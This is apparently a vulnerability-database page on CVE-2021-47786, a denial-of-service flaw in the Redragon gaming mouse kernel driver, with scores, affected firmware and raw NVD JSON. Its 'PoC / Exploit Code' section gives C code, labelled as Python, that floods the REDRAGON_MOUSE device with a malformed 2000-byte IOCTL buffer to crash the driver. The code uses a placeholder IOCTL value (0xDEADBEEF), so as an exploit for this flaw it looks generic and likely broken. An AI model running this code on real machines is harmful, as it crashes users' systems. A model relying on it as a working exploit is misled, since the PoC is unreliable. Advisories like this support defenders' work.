Security Vulnerability Report
中文
CVE-2021-47786 CVSS 7.5 HIGH

CVE-2021-47786

Published: 2026-01-16 00:16:22
Last Modified: 2026-02-09 14:27:35

Description

Redragon Gaming Mouse driver contains a kernel-level vulnerability that allows attackers to trigger a denial of service by sending malformed IOCTL requests. Attackers can send a crafted 2000-byte buffer with specific byte patterns to the REDRAGON_MOUSE device to crash the kernel driver.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:redragon:m725-lit_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:redragon:m725-lit:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:redragon:m617-lit_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:redragon:m617-lit:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:redragon:m910-ks_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:redragon:m910-ks:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:redragon:m801p-rgb_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:redragon:m801p-rgb:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:redragon:m602-ks_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:redragon:m602-ks:-:*:*:*:*:*:*:* - NOT VULNERABLE
Redragon Gaming Mouse Driver < 2021-12-01
REDRAGON_MOUSE.sys versions with vulnerable IOCTL handler

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h> #include <stdio.h> #define REDRAGON_MOUSE_DEVICE "\\\\\\\\.\\\\REDRAGON_MOUSE" #define MALFORMED_IOCTL_CODE 0xDEADBEEF // Example IOCTL code int main() { HANDLE hDevice; DWORD bytesReturned; BYTE MalformedBuffer[2000]; // Initialize buffer with specific byte pattern to trigger vulnerability memset(MalformedBuffer, 0x41, sizeof(MalformedBuffer)); // Open handle to the vulnerable device hDevice = CreateFileA( REDRAGON_MOUSE_DEVICE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("Sending malformed IOCTL request to trigger CVE-2021-47786...\n"); // Send the crafted 2000-byte buffer via DeviceIoControl BOOL result = DeviceIoControl( hDevice, MALFORMED_IOCTL_CODE, MalformedBuffer, sizeof(MalformedBuffer), NULL, 0, &bytesReturned, NULL ); if (!result) { printf("IOCTL request sent. Driver may have crashed.\n"); } CloseHandle(hDevice); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47786", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:21.887", "lastModified": "2026-02-09T14:27:35.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Redragon Gaming Mouse driver contains a kernel-level vulnerability that allows attackers to trigger a denial of service by sending malformed IOCTL requests. Attackers can send a crafted 2000-byte buffer with specific byte patterns to the REDRAGON_MOUSE device to crash the kernel driver."}, {"lang": "es", "value": "El controlador del ratón para juegos Redragon contiene una vulnerabilidad a nivel de kernel que permite a los atacantes desencadenar una denegación de servicio enviando solicitudes IOCTL malformadas. Los atacantes pueden enviar un búfer manipulado de 2000 bytes con patrones de bytes específicos al dispositivo REDRAGON_MOUSE para bloquear el controlador del kernel."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:redragon:m725-lit_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "08F36681-26DF-449E-96F5-17C115A1FE5A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:redragon:m725-lit:-:*:*:*:*:*:*:*", "matchCriteriaId": "0C0E44E8-C428-4186-9153-FFAE92659A38"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:redragon:m617-lit_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "E78B3006-E3A9-40F1-9454-656645BF892E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:redragon:m617-lit:-:*:*:*:*:*:*:*", "matchCriteriaId": "B192E6EC-0445-4FE2-86C1-B9290C8A21C5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:redragon:m910-ks_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "687EF1E6-D5C7-4EA9-90CD-8D1D706C2C9F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:redragon:m910-ks:-:*:*:*:*:*:*:*", "matchCriteriaId": "F2F5BD2B-97D9-47D7-8E6D-25C53BC76F74"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:redragon:m801p-rgb_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "CE1C3073-8D70-45F2-8F29-6AC57B5E74E1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:redragon:m801p-rgb:-:*:*:*:*:*:*:*", "matchCriteriaId": "3F847228-0F0B-495C-9A9F-3FA846FB0B8F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:redragon:m602-ks_firmware:-:*:*:*:*:*:*:*", "matc ... (truncated)